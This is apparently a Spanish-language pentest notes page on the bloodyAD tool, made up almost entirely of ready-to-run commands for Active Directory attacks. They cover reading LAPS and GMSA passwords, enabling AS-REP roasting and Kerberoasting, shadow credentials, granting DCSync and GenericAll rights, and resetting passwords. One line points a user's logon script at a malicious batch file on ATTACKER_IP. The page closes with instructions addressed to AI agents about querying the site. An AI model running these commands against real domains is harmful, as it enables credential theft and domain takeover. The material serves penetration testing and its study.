# bloodyAD

## Introduction

Esta herramienta puede realizar llamadas LDAP específicas a un controlador de dominio para realizar escalada de privilegios en AD.&#x20;

<figure><img src="/files/vnNKBJkiZLRBG0Dl2CeK" alt="" width="375"><figcaption></figcaption></figure>

En **Kali Linux** la herramienta se puede instalar simplemente a través del siguiente comando.

```bash
sudo apt install bloodyad -y
```

**Repositorio de GitHub de la herramienta**

{% embed url="<https://github.com/CravateRouge/bloodyAD>" %}

***

## Attacking AD using bloodyAD

**# Leer LAPS Password**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
```

{% endcode %}

**# Leer GMSA Password**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword
```

{% endcode %}

**# Habilitar DONT\_REQ\_PREAUTH para ASREP Roast&#x20;*****(Necesario disponer permisos GenericAll/GenericWrite)***

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH
```

{% endcode %}

**# Deshabilitar ACCOUNTDISABLE para habilitar a un usuario deshabilitado**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f ACCOUNTDISABLE
```

{% endcode %}

**# Añadir usuario a un grupo**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'GROUP_TARGET' 'USER_TARGET'
```

{% endcode %}

**# Shadow Credentials Attack (luego hay que hacer unPacTheHash)**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add shadowCredentials 'target'
```

{% endcode %}

**# Asignar servicePrincipalName (SPN) a un usuario para Kerberoasting Attack (*****Necesario disponer permisos GenericAll/GenericWrite sobre el usuario*** **`$target`)**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'
```

{% endcode %}

**# Hacer propietario a usuario sobre un objeto (*****permisos de WriteOwner*****)**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'
```

{% endcode %}

**# Asignar permisos GenericAll sobre un usuario a un objeto para tener control total**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'
```

{% endcode %}

**# Cambiar contraseña de un usuario**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
```

{% endcode %}

**# Añadir permisos DCSync sobre un objeto**

{% code overflow="wrap" %}

```bash
bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
```

{% endcode %}

**# Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'
```

{% endcode %}

**# Creamos un nuevo registro DNS, para posteriormente realizar ataques de DNS Spoofing.**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dnsRecord <dns_record_target> <ATTACKER_IP>
```

{% endcode %}

**# Asignar un UPN (userPrincipalName) diferente para ataques como UPN Spoofing**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' mail -v 'impersonateUser@dominio.htb'
```

{% endcode %}

**# Asignar valor al atributo altSecurityIdentities para ataques X.509/ESC14**

{% code overflow="wrap" %}

```bash
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' altSecurityIdentities -v 'X509:<I><.........>'
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gzzcoo.gitbook.io/pentest-notes/active-directory-pentesting/tools/bloodyad.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
